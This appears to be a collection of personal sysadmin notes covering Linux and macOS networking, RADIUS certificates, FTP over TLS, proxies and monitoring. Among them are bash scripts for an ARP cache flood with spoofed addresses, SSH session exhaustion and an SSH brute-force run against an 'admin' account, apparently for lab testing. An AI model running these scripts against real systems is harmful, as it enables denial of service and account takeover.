For Ethernet:
networksetup -setv6off Ethernet
For Wireless:
networksetup -setv6off Wi-Fi
networksetup -setv6off Ethernet
networksetup -setv6off Wi-Fi
mDNS -B(Browse for services instances)
MBP:~ lawrence$ mDNS -B _sftp-ssh._tcp.
Browsing for _sftp-ssh._tcp.
Talking to DNS SD Daemon at Mach port 5891
Timestamp A/R Flags Domain Service Type Instance Name
12:18:11.060 Add 0 local. _sftp-ssh._tcp. MBP
mDNS -L(Look up a service instance)
MBP:~ lawrence$ mDNS -L "MBP" _sftp-ssh._tcp. .
Lookup MBP._sftp-ssh._tcp.local
Talking to DNS SD Daemon at Mach port 5891
12:18:54.882 Service can be reached at 10.10.2.7 :22
12:18:54.882 FE80:0000:0000:0000:3E07:54FF:FE35:5093%en0:22
12:18:54.883 3001:0288:0000:0000:3E07:54FF:FE35:5093%en0:22
1. dhcpd的lease table是放在/var/lib/dhcpd/dhcpd.leases
lease 10.10.6.125 {
starts 2 2012/10/16 22:12:53;
ends 3 2012/10/17 22:12:53;
tstp 3 2012/10/17 22:12:53;
binding state active;
next binding state free;
hardware ethernet b8:ac:6f:21:53:ec;
uid "\001\270\254o!S\354";
client-hostname "D129252S";
}
10.10.6這個range被fake DHCP client用完了,所以我要把它們手動通通砍掉。
sed -i "/10.10.6/,/}/d" /var/lib/dhcpd/dhcpd.leases
# /etc/init.d/dhcpd restart
# yum install httpd rrdtool rrdtool-perl perl-libwww-perl perl-MailTools perl-MIME-Lite perl-CGI perl-DBI perl-XML-Simple
# rpm -ivh http://www.monitorix.org/monitorix-n.n.n-1.noarch.rpm
(where n.n.n is the latest version,2.6.0 for example)
Configure file is in /etc/monitorix.conf
Apache configure file is in /etc/httpd/conf.d/monitorix.conf, and you need to configure it allow connect to Monitorix from any where.
# /etc/init.d/monitorix start && chkconfig monitorix on
# /etc/init.d/httpd restart && chkconfig httpd on
MBP:~ lawrence$ sync && purge
Client certificates are used by EAP-TLS, and optionally by EAP-TTLS
and PEAP. The following steps outline how to create a client
certificate that is signed by the server certificate created above.
You will have to have the password for the server certificate in the
"input_password" and "output_password" fields of the server.cnf file.
$ vi client.cnf
Edit the "input_password" and "output_password" fields to be the
password for the client certificate. You will have to give these
passwords to the end user who will be using the certificates.
Edit the [client] section to have the correct values for your
country, state, etc. Be sure that the commonName field here is
the User-Name that will be used for logins!
$ make client.pem
The users certificate will be in "emailAddress.pem",
i.e. "user@example.com.pem".
To create another client certificate, just repeat the steps for
making a client certificate, being sure to enter a different login
name for "commonName", and a different password.
- 安全性: WPA&WPA2 EnterpriseNote: ca.pem and client.p12是產生ROOTCA與Client Certificate時所一併產生的,所在的目錄是/etc/raddb/certs/
- 驗證: TLS
- 識別: commonName
- CA: ca.pem
- 私密金鑰: client.p12
- 私密金鑰密碼: "input_password" and "output_password"
net.ipv6.conf.all.forwarding = 1
net.ipv6.conf.all.autoconf = 0
# vi /etc/sysconfig/network
......
NETWORKING_IPV6=yes
......
# yum install radvd
# vi /etc/radvd.conf
interface eth1
{
AdvSendAdvert on;
MinRtrAdvInterval 30;
MaxRtrAdvInterval 100;
AdvOtherConfigFlag on;
prefix 3001:288::/64
{
AdvOnLink on;
AdvAutonomous on;
AdvRouterAddr on;
};
};
# /etc/init.d/radvd start; chkconfig radvd on
# cd /etc/raddb/certs
# rm -f ca.der ca.key ca.pem
# rm -f server.crt server.csr server.key server.p12 server.pem
# vi ca.cnf
Edit the "input_password" and "output_password" fields to be the
password for the CA certificate.
Edit the [certificate_authority] section to have the correct values
for your country, state, etc.
# make ca.pem
This step creates the CA certificate.
# make ca.der
This step creates the DER format of the self-signed certificate,
which is can be imported into Windows.
# vi server.cnf
Edit the "input_password" and "output_password" fields to be the
password for the server certificate.
Edit the [server] section to have the correct values for your
country, state, etc. Be sure that the commonName field here is
different from the commonName for the CA certificate.
# make server.pem
This step creates the server certificate.
If you have an existing certificate authority, and wish to create a
certificate signing request for the server certificate, edit
server.cnf as above, and type the following command.
# make server.csr
You will have to ensure that the certificate contains the XP
extensions needed by Microsoft clients.
client 10.10.0.0/16 {
secret = testing123
shortname = private-network-2
}
default_eap_type = ttls
....
ttls {
default_eap_type = mschapv2
copy_request_to_tunnel = yes
use_tunneled_reply = yes
#virtual_server = "inner-tunnel"
}
....
lawrence Cleartext-Password := "testing"
use_mppe = no
# /etc/init.d/radiusd restart
# arping -U 10.10.10.100 -I eth0
-U : Unsolicited ARP mode, update your neighbours
-I device : which ethernet device to use (eth0)
# arping -A -U 10.10.10.100 -I eth0
-A : ARP answer mode, update your neighbours
[root@localhost ruckus]# cd /tmp/[root@localhost tmp]# dd if=/dev/zero of=vs_file bs=1M count=512512+0 records in512+0 records out536870912 bytes (537 MB) copied,0.767225 秒,700 MB/s
[root@localhost tmp]# mke2fs -j vs_filemke2fs 1.39 (29-May-2006)vs_file is not a block special device.Proceed anyway? (y,n) yFilesystem label=OS type: LinuxBlock size=1024 (log=0)Fragment size=1024 (log=0)131072 inodes, 524288 blocks26214 blocks (5.00%) reserved for the super userFirst data block=1Maximum filesystem blocks=6763315264 block groups8192 blocks per group, 8192 fragments per group2048 inodes per groupSuperblock backups stored on blocks:8193, 24577, 40961, 57345, 73729, 204801, 221185, 401409Writing inode tables: doneCreating journal (16384 blocks): doneWriting superblocks and filesystem accounting information: doneThis filesystem will be automatically checked every 21 mounts or180 days, whichever comes first. Use tune2fs -c or -i to override.
[root@localhost tmp]# mount -o loop /tmp/vs_file /mnt/vf/
[root@localhost tmp]# mount | grep vs_file/tmp/vs_file on /mnt/vf type ext3 (rw,loop=/dev/loop0)[root@localhost tmp]# cd /mnt/vf/[root@localhost vf]# lslost+found[root@localhost vf]# touch test[root@localhost vf]# lslost+found test
Click Start->regedit->HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}
GUID這邊指的是對應到的NIC,可用wireshark來幫助查詢。
DhcpConnForceBroadcastFlag (0 or 1)
0 indicate unicast
1 indicate broadcast
#!/bin/bashfunction arp_cache_attack{while true;dofor((i=1;i<=100;i++))domac=$(($RANDOM%10))number1=$(($RANDOM%254))number2=$(($RANDOM%254))number3=$(($RANDOM%254))number4=$(($RANDOM%254))arping -S "$number1.$number2.$number3.$number4" -s 00:00:00:00:$mac:$mac 10.10.6.6 -c 1 &donesleep 1kill `ps aux | grep -i arping | grep -v grep | awk -F" " '{ print $2 }'` 1>/dev/nullsync && echo "3" > /proc/sys/vm/drop_cachesecho "re-generate"done}arp_cache_attack
#!/bin/bash# Bind IPread -p "Which interface? [eth0]: " INTERFACEread -p "Net address: [10.10.10] " NETIPread -p "Min IP address: [1] " MiIPread -p "Max IP address:[254] " MaIPfor((i="$MiIP";i<="$MaIP";i++))doip addr add "$NETIP"."$i"/24 dev $INTERFACE 1>/dev/null 2>1doneecho ""# Start to testread -p "Target: [10.10.10.10] " TARGETi=$MiIPnum=1echo ""echo "Preparing for test target: $TARGET"sleep 5while true;dossh admin@$TARGET -o StrictHostKeyChecking=no -b "$NETIP"."$i" 1>/dev/null 2>1 &sleep 1netstat -an | grep 22 | grep ESTABLISHED | grep "\<$NETIP"."$i\>"if [ `echo $?` -ne 0 ]; thennum=$(($num-1))echo "The maximum SSH session of $TARGET is $num"kill `ps aux | grep "\<22\>" | grep -v grep | grep -v ssh-agent | awk -F" " '{print $2}'` > /dev/null breakelseecho "SSH session number $num is established!"i=$(($i+1))num=$(($num+1))fidoneexit
1 #!/bin/bash23 read -p "Please enter your target host: " HOST4 echo "Enter run to launch SSH Brute Force Attack, or exit to leave it."56 echo -n "[run/exit]? "7 while read LINE;8 do9 if [ $LINE = "run" ]; then10 clear11 python /root/bin/brutessh/brutessh.py -h $HOST -u admin -d /root/bin/brutessh/passlist.txt &12 sleep 1013 echo -n "***** Enter exit can stop SSH Brute Force attack immediately or rerun it again. ***** [run/exit]? "14 continue15 elif [ $LINE = "exit" ]; then16 kill `ps aux | grep brutessh.py | grep -v grep |awk -F" " '{ print $2 }'` 2> /dev/null17 break18 fi19 done
[root@server1 ~]# rpm -qa | grep -i rsyncrsync-3.0.6-5.el6_0.1.i686
service rsync{disable = noflags = IPv6socket_type = streamwait = nouser = rootserver = /usr/bin/rsyncserver_args = --daemonlog_on_failure += USERID}
# any name you like[test]# destination directorypath = /home/backup# Hosts you allow to copy (specify source Host)hosts allow = 10.10.2.126hosts deny = *list = trueuid = rootgid = rootread only = false
[root@server1 ~]# /etc/init.d/xinetd restart正在停止 xinetd: [ 確定 ]正在啟動 xinetd: [ 確定 ]
[root@server1 ~]# rpm -qa | grep rsyncrsync-3.0.6-4.el5_7.1
[root@server1 ~]# rsync -avz --delete /var/www/html/ 10.10.2.128::testsending incremental file list./proxy.pacproxy.pac.ipv4proxy.pac.ipv6wpad.dat -> proxy.pacssl/ssl/index.hrmlsent 3089 bytes received 174 bytes 6526.00 bytes/sectotal size is 5039 speedup is 1.54
Proactive Key Caching (PKC) or Opportunistic Key Caching (OKC) - In the 802.11i specification there is a suggestion towards WPA2 Pairwise Master Key ID (PMKID) caching. PKC/OKC is one interpretation of this suggestion. The station remembers the PMKID from its initial BSSID with which it associated and authenticated. When the client roams to another BSSID it uses the original PMKID and hashes it with the new BSSID and comes up with new keys. It needs a centralised controller to distribute the PMKID out to the AP's to make it all work.
rm -rf ~/Library/Caches/Google/Chrome/Default
ln -s /Volumes/Chrome\ Cache/ ~/Library/Caches/Google/Chrome/Default/Volumes/Chrome\ Cache/就是我透過TmpDisk產生的快取。
1. 在/etc folder透過find指令尋找全部的檔案。2. 透過xargs將pipe前的stdout轉變成餵給grep的參數。3. 透過cut指令做簡單的filter。4. 將`find /etc/ | xargs grep "vsftpd.pem" | cut -d: -f1`看成一個指令的輸出,餵給vi。
[root@centos6 ~]# cat /etc/group | grep rootroot:x:0:rootbin:x:1:root,bin,daemondaemon:x:2:root,bin,daemonsys:x:3:root,bin,admadm:x:4:root,adm,daemondisk:x:6:rootwheel:x:10:root
[root@centos6 ~]# groups rootroot : root bin daemon sys adm disk wheel[root@centos6 ~]#
[root@centos6 ~]# ldd `which vsftpd` | grep ssllibssl.so.10 => /usr/lib/libssl.so.10 (0x00af1000) -> 看到libssl則代表有支援。
[root@centos6 ~]# cd /etc/pki/tls/certs/[root@centos6 certs]# make vsftpd.pem[root@centos6 certs]# cp -a vsftpd.pem /etc/vsftpd/
anonymous_enable=YESlocal_enable=YESwrite_enable=YESlocal_umask=022dirmessage_enable=YESxferlog_enable=YESconnect_from_port_20=YESxferlog_file=/var/log/vsftpd.logxferlog_std_format=YESchroot_local_user=YESchroot_list_enable=YESchroot_list_file=/etc/vsftpd/chroot_list ->注意!必需要手動產生一個chroot_list的空檔listen=YESpam_service_name=vsftpduserlist_enable=YEStcp_wrappers=YESssl_enable=YESallow_anon_ssl=NOforce_local_data_ssl=YESforce_local_logins_ssl=YESssl_tlsv1=YESssl_sslv2=NOssl_sslv3=NOrsa_cert_file=/etc/vsftpd/vsftpd.pem
[root@centos6 vsftpd]# /etc/init.d/vsftpd restart正在關閉 vsftpd: [ 確定 ]正在啟動 vsftpd 中的 vsftpd: [ 確定 ][root@centos6 vsftpd]#
5.1 設定連線為FTP-SSL
5.2 輸入FTP Server的IP address,系統會警告一個不被信任的憑證,當然此憑證是我剛剛產生的,所以要信任它囉:
1. 作業系統: OpenSUSE 11.4 X86_642. 耳機: AKG K5143. Deadbeef: 0.5.1-1
1. 至Packman搜尋deadbeef(http://packman.links2linux.org/package/deadbeef/251257)2. 安裝libzip.so.1()(64bit): # zyppe in libzip.so.1\(\)\(64bit\)3. 安裝deadbeef: # rpm -ivh deadbeef*rpm
# yum install centos-release-cr# yum update
# diskutil list/dev/disk0#: TYPE NAME SIZE IDENTIFIER0: GUID_partition_scheme *160.0 GB disk01: EFI 209.7 MB disk0s12: Apple_HFS Macintosh 60.2 GB disk0s23: Apple_HFS Data 99.4 GB disk0s3/dev/disk1#: TYPE NAME SIZE IDENTIFIER0: *8.0 GB disk1/dev/disk2#: TYPE NAME SIZE IDENTIFIER0: Garmin-Asus *3.3 GB disk2
# wget ftp://rpmfind.net/linux/dag/redhat/el6/en/i386/dag/RPMS/iftop-0.17-1.el6.rf.i686.rpm(這是i386的版本 for CentOS6)
# rpm -ivh iftop*
# iftop。
iperf -s -V
iperf -c [IPv6 IPaddress]-V
# sudo chown username/dev/bpf*
The CentOS team is pleased to announce the immediate availability of CentOS-6.0 for i386 and x86_64 Architectures.
CentOS-6.0 is based on the upstream release EL 6.0 and includes
packages from all variants. All upstream repositories have been combined into one, to make it easier for end users to work with.
There are some important changes to this release compared with the previous versions of CentOS and we highly recommend reading this announcement along with the Release Notes.
There are no CD images being released with CentOS-6, however we have some CD variants in the pipeline.
Since upstream has a 6.1 version already released, we will be using a Continous Release repository for 6.0 to bring all 6.1 and post 6.1 security updates to all 6.0 users, till such time as CentOS-6.1 is released itself.
LiveCDs and LiveDVDs for i386 and x86_64 will be released the
next few days. These will bring in the ability to directly install from the live media.
There will also be a minimal install CD, that would bring up a base
machine with just enough content to have a usable platform.
In order to bring back the CentOS-4 Server CD style single iso image, an LWS variant of the main distro will be created.
And now: Have fun.
"--port=0" It means Listen oninstead of the standard DNS port (53). Setting this to zero completely disables DNS function, leaving only DHCP and/or TFTP.
1. Prepare: Squid 3.1 on RHEL6 because it supports IPv6 by default, otherwise you need to upload IPv6 patch to Squid 2.x version.
2. Configure IPv6 in Squid 3.1:
In /etc/squid/squid.conf:
- Add IPv6 localnet:
acl localnet src 3001:288::/64 # Add your IPv6 subnet in here.
- Allow localnet:
http_access allow localnet
-Restart Squid:
# /etc/init.d/squid restart; chkconfig squid on
3. Configure DNS supports IPv6 query:
In Zonefile:
wpad IN AAAA 3001:288::1 # This is a Web Server which save WPAD file.
proxy IN AAAA 3001:288::2 # This is a Proxy Server.
4. Configure WPAD file:
function FindProxyForURL(url, host) {
if (host == "localhost" ||
host == "localhost.localdomain" ||
host == "127.0.0.1" || host == "[3001:288::3]" || host == "10.10.2.2" ) {
return "DIRECT";
// Requests to localhost, 3001:288::3, and 10.10.2.2 will not redirect to proxy
}That's all.
// All other requests go through the local squid proxy
return "PROXY proxy.example.com:8080; DIRECT";
}
# zypper in monit2. 編輯設定檔/etc/monitrc:
Unmark:
## Start monit in the background (run as a daemon) and check services at
## 2-minute intervals.
#
set daemon 60 <- 我把它改成1分鐘。
- 開啟/etc/monitrc並新增偵測sshd的設定:4. 啟動monit:
check process sshd with pidfile /var/run/sshd.init.pid <- 注意這個檔案名稱是否與你的系統吻合
start program = "/etc/init.d/sshd start"
stop program = "/etc/init.d/sshd stop"
if failed host 127.0.0.1 port 22 protocol ssh then restart
# /etc/init.d/monit start5. 測試:
# chkconfig monit on
- 手動將sshd stop:
# /etc/init.d/sshd stop
- 開始monitor:suse:/var/run # /etc/init.d/sshd stopShutting down SSH daemon donesuse:/var/run # while true; do /etc/init.d/sshd status; sleep 1; doneChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd unusedChecking for service sshd runningChecking for service sshd runningChecking for service sshd running
rsyslog預設上把port 514關掉了,請手動將它打開。- Configure /etc/rsyslog.conf:
Unmark UDP syslog:
$ModLoad imudp.so
$UDPServerRun 514
- Restart rsyslog:
# /etc/init.d/rsyslog restart
[root@rhel6 ~]# netstat -tupln | grep 514
udp 0 0 0.0.0.0:514 0.0.0.0:* 2713/rsyslogd
udp 0 0 :::514 :::* 2713/rsyslogd
# vi /etc/rsyslog.conf to receive log from remote machine:
:fromhost-ip,isequal,"X.X.X.X" /var/log/test1_log
X.X.X.X -> remote IP address- Restart rsyslog:
# /etc/init.d/rsyslog restart
As root:
1. Disable NetworkManager:
# chkconfig NetworkManager off
2. Enable tradition network method:
# chkconfig network on
3. Navigated to /etc/sysconfig/network-scripts, and to generate ifcfg-ethX file as following:
DEVICE=eth0
BOOTPROTO=dhcp
ONBOOT=yes
4. Reboot your machine.
1. Navigated to /etc/pam.d
2. vi gdm
auth required pam_succeed_if.so user != root quiet
->
#auth required pam_succeed_if.so user != root quiet
3. vi gdm-password
auth required pam_succeed_if.so user != root quiet
->
#auth required pam_succeed_if.so user != root quiet
Then it works.
shared libraries: liblzma.so.0: cannot open shared object file: No such file or這個問題將導致zypper指令往後無法執行!解決的方法如下:
directory
1. Install:# zypper in gsynaptics2. 檢查/etc/X11/xorg.conf在InputDevice的section中應該會有"SHMConfig" "on"75 Section "InputDevice"76 Driver "synaptics"77 Identifier "Mouse[1]"78 Option "Buttons" "5"79 Option "Device" "/dev/input/mice"80 Option "Emulate3Buttons" "on"81 Option "HorizScrollDelta" "0"82 Option "InputFashion" "Mouse"83 Option "Name" "Synaptics;Touchpad"84 Option "Protocol" "explorerps/2"85 Option "SHMConfig" "on"86 Option "Vendor" "Sysp"87 Option "ZAxisMapping" "4 5"88 EndSection3. 不用重新開機至"電腦"->"控制中心"->"硬體" 點選Touchpad or Mouse就可以設定了。
params.c:OpenConfFile() - Unable to open configuration file "/etc/samba/dhcp.conf":Permission denied
linux-8zbb:/etc/samba # tail -f /var/log/samba/log.smbdUnable to setup corepath for smbd: Permission denied[2011/03/12 22:19:33, 0] smbd/server.c:1134(main)smbd version 3.5.7-1.17.1-2505-SUSE-SL11.4-x86_64 started.Copyright Andrew Tridgell and the Samba Team 1992-2010[2011/03/12 22:19:33.539756, 0] passdb/secrets.c:73(secrets_init)Failed to open /etc/samba/secrets.tdb[2011/03/12 22:19:33.540823, 0] passdb/secrets.c:73(secrets_init)Failed to open /etc/samba/secrets.tdb[2011/03/12 22:19:33.541149, 0] smbd/server.c:1234(main)ERROR: smbd can not open secrets.tdb
1. linux-8zbb:~ # zypper in sipcalcRetrieving repository 'OpenSUSE 11.3 update' metadata [done]Building repository 'OpenSUSE 11.3 update' cache [done]Loading repository data...Reading installed packages...Resolving package dependencies...The following NEW package is going to be installed:sipcalc1 new package to install.Overall download size: 29.0 KiB. After the operation, additional 58.0 KiB will be used.Continue? [y/n/?] (y): yRetrieving package sipcalc-1.1.5-0.pm.2.1.x86_64 (1/1), 29.0 KiB (58.0 KiB unpacked)Retrieving: sipcalc-1.1.5-0.pm.2.1.x86_64.rpm [done (15.7 KiB/s)]Installing: sipcalc-1.1.5-0.pm.2.1 [done]Additional rpm output:warning: /var/cache/zypp/packages/Packman_opensuse_11.3/x86_64/sipcalc-1.1.5-0.pm.2.1.x86_64.rpm: Header V3 DSA/SHA1 Signature, key ID 9a795806: NOKEY2. linux-8zbb:~ # sipcalc 10.10.10.1/23 <- 指定某個IP subnet-[ipv4 : 10.10.10.1/23] - 0[CIDR]Host address - 10.10.10.1Host address (decimal) - 168430081Host address (hex) - A0A0A01Network address - 10.10.10.0Network mask - 255.255.254.0Network mask (bits) - 23Network mask (hex) - FFFFFE00Broadcast address - 10.10.11.255Cisco wildcard - 0.0.1.255Addresses in network - 512Network range - 10.10.10.0 - 10.10.11.255Usable range - 10.10.10.1 - 10.10.11.254linux-8zbb:~ # sipcalc eth0 <- 針對目前的interface-[int-ipv4 : eth0] - 0[CIDR]Host address - 10.10.10.253Host address (decimal) - 168430333Host address (hex) - A0A0AFDNetwork address - 10.10.10.0Network mask - 255.255.255.0Network mask (bits) - 24Network mask (hex) - FFFFFF00Broadcast address - 10.10.10.255Cisco wildcard - 0.0.0.255Addresses in network - 256Network range - 10.10.10.0 - 10.10.10.255Usable range - 10.10.10.1 - 10.10.10.254
1. Uncompress 2010_1215_RT3572_Linux_STA_v2.5.0.0.DPO.bz22. Plug in WUSB600N to your Linux box.3. To execute "demsg" command to examine the vendor id and product id of WUSB600N. (it should be 1737/0079)4. Added {USB_DEVICE(0×1737,0×0079)}, /* Linksys WUSB600N v2 */ to the /common/rtusb_dev_id.c file5. Modified /os/linux/config.mk file to give you WPA encryption:# Support Wpa_SupplicantHAS_WPA_SUPPLICANT=y# Support Native WpaSupplicant for Network MagangerHAS_NATIVE_WPA_SUPPLICANT_SUPPORT=y6. # make && make install && reboot7. After system reboot successfully then plug in the WUSB600N to the Linux box again, and to execute "ifconfig -a" command then you will see the new device ra0
Pdsh is a an efficient, multithreaded remote shell client which executes commands on multiple remote hosts in parallel. Pdsh implements dynamically loadable modules for extended functionality such as new remote shell services and remote host selection.
1. Install pdsh on the Server.
2. Import ssh key of Server1 to the node1 and node2.
3. Add hostname-to-IPaddress of node1/node2 in /etc/hosts on Server1.
4. To execute: pdsh -w ssh:root@node[1,2] ls 2> /dev/null then node1 and node2 will to execute ls command and report to the Server1 as following:
lawrence@suse:~/.ssh> pdsh -w ssh:root@node[1,2] ls 2> /dev/null
node1: anaconda-ks.cfg
node1: Desktop
node1: id_rsa.pub
node1: install.log
node1: install.log.syslog
node2: anaconda-ks.cfg
node2: bin
node2: conf-examples
node2: cpulimit-1.1.tar.gz
node2: cpulimit.tar.gz
node2: Desktop
node2: id_rsa.pub
node2: install.log
node2: install.log.syslog
node2: mibs
node2: mibs_20100925.rar
5. Combine multiple commands:
lawrence@suse:~/.ssh> pdsh -w ssh:root@node[1,2] "cd /tmp;ls" 2> /dev/null
node1: pulse-Bk60xcI9xlDq
node1: virtual-root.pHV8bR
node2: etherXXXXWj7KYw
node2: gconfd-root
node2: keyring-RdVKdK
node2: mapping-root
node2: scim-panel-socket:0-root
1. 準備某一Linux版本的live CD,Fedora 14是個不錯的選擇!2. 用Live CD開完機後,確定預升級的檔案系統處於無掛載的狀態。3. 利用tune2fs加上ext4的attribute:# tune2fs -O extents,uninit_bg,dir_index [device file]4.檢查檔案系統:# fsck -pf [device file]5. 掛載:# mount -t ext4 [device file] [mount point]6. 修改/etc/fstab後,重新開機。
1. 相容Ext32. 單一檔案大小可到16TB,檔案系統可支援到1EB3. 新的存放方式,增加檔案讀寫速度
1. 開啟/boot/grub/menu.lst2. 新增kernel參數如下:2.1 noht -> 不work....2.2 maxcpus=1 -> work!
echo "0" > /sys/devices/system/node/node0/cpu1/online
